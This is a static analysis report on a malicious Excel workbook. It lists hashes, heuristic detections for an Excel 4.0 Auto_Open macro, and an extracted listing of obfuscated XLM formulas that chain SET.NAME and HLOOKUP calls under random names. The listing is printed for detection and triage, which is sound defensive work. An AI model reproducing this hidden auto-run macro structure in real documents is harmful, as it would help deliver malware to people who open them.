Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 391390063dac26ba…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:24 Authoring application: Microsoft Excel First seen: 2021-02-19
MD5: 295fd0fe9883f285844f76f115cb2cf0 SHA-1: 84be0b0b222ee642d04868ce22c1c507ceddbeb2 SHA-256: 391390063dac26babe176ba1ea1292a78fe3f3e790b84d92eba10474e0669762
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6726 bytes
SHA-256: 3e734173a61652b3c22f0ee1a350eea188d363b70822e9c14eba61af90261476
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xSIpitXJ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E161 
' 0018     22 LABEL : Cell Value, String Constant - BBhOaWX len=0 
' 0018     23 LABEL : Cell Value, String Constant - BdUUQwWK len=0 
' 0018     20 LABEL : Cell Value, String Constant - bMBdw len=0 
' 0018     22 LABEL : Cell Value, String Constant - DIUMJVF len=0 
' 0018     24 LABEL : Cell Value, String Constant - HCtxMVOJV len=0 
' 0018     27 LABEL : Cell Value, String Constant - JVSnmIVfDkrh len=0 
' 0018     26 LABEL : Cell Value, String Constant - PstNoYGbBKX len=0 
' 0018     26 LABEL : Cell Value, String Constant - QbCfdBqPQYG len=0 
' 0018     22 LABEL : Cell Value, String Constant - RLNEwKZ len=0 
' 0018     20 LABEL : Cell Value, String Constant - RyKxN len=0 
' 0018     25 LABEL : Cell Value, String Constant - sapAsxVytN len=0 
' 0018     22 LABEL : Cell Value, String Constant - SkqnXQr len=0 
' 0018     24 LABEL : Cell Value, String Constant - sWqnQeDoo len=0 
' 0018     21 LABEL : Cell Value, String Constant - Synres len=0 
' 0018     20 LABEL : Cell Value, String Constant - tdwhF len=0 
' 0018     27 LABEL : Cell Value, String Constant - TlWJVdwrdNCq len=0 
' 0018     23 LABEL : Cell Value, String Constant - tSgCpfCB len=0 
' 0018     20 LABEL : Cell Value, String Constant - TvsBF len=0 
' 0018     23 LABEL : Cell Value, String Constant - WDewhSaS len=0 
' 0018     27 LABEL : Cell Value, String Constant - zJAnhcAqKKPs len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xSIpitXJ,E64,"SET.NAME("RyKxN",0+VALUE("0"))",""
'  xSIpitXJ,T65,"",814.00000000000000000000
'  xSIpitXJ,E66,"SET.NAME("HCtxMVOJV",RyKxN)",""
'  xSIpitXJ,T66,"",995.00000000000000000000
'  xSIpitXJ,T67,"",640.00000000000000000000
'  xSIpitXJ,T68,"",-908.00000000000000000000
'  xSIpitXJ,T69,"",-623.00000000000000000000
'  xSIpitXJ,T70,"",965.00000000000000000000
'  xSIpitXJ,E71,"SET.NAME("DIUMJVF",RyKxN)",""
'  xSIpitXJ,E73,"SET.NAME("RLNEwKZ",COUNTA(zJAnhcAqKKPs))",""
'  xSIpitXJ,E76,"SET.NAME("sWqnQeDoo",COUNTA(QbCfdBqPQYG))",""
'  xSIpitXJ,E81,[],""
'  xSIpitXJ,E85,"SET.NAME("WDewhSaS","")",""
'  xSIpitXJ,E89,"HCtxMVOJV",""
'  xSIpitXJ,E92,"SET.NAME("BdUUQwWK",HLOOKUP("*",zJAnhcAqKKPs,HCtxMVOJV,FALSE))",""
'  xSIpitXJ,E95,"TlWJVdwrdNCq",""
'  xSIpitXJ,E97,"SET.NAME("tdwhF",RyKxN)",""
'  xSIpitXJ,E99,[],""
'  xSIpitXJ,E101,"tdwhF",""
'  xSIpitXJ,E105,"BBhOaWX",""
'  xSIpitXJ,E109,"Synres",""
'  xSIpitXJ,E112,"SkqnXQr",""
'  xSIpitXJ,E116,"SET.NAME("TvsBF",VALUE(HLOOKUP("*",QbCfdBqPQYG,SkqnXQr,FALSE)))",""
'  xSIpitXJ,E120,"JVSnmIVfDkrh",""
'  xSIpitXJ,E125,"WDewhSaS",""
'  xSIpitXJ,E130,"DIUMJVF",""
'  xSIpitXJ,E134,NEXT(),""
'  xSIpitXJ,E137,"sapAsxVytN",""
'  xSIpitXJ,E142,[],""
'  xSIpitXJ,E146,"bMBdw",""
'  xSIpitXJ,E151,NEXT(),""
'  xSIpitXJ,E156,RETURN(),""
'  xSIpitXJ,E183,"SET.NAME("tSgCpfCB",E64)",""
'  xSIpitXJ,E185,"zJAnhcAqKKPs",""
'  xSIpitXJ,E187,"SET.NAME("QbCfdBqPQYG",R76C13)",""
'  xSIpitXJ,E190,"SET.NAME("bMBdw",199)",""
'  xSIpitXJ,E194,"SET.NAME("PstNoYGbBKX",5)",""
'  xSIpitXJ,E198,tSgCpfCB(),""
'  xSIpitXJ,E199,HALT(),""

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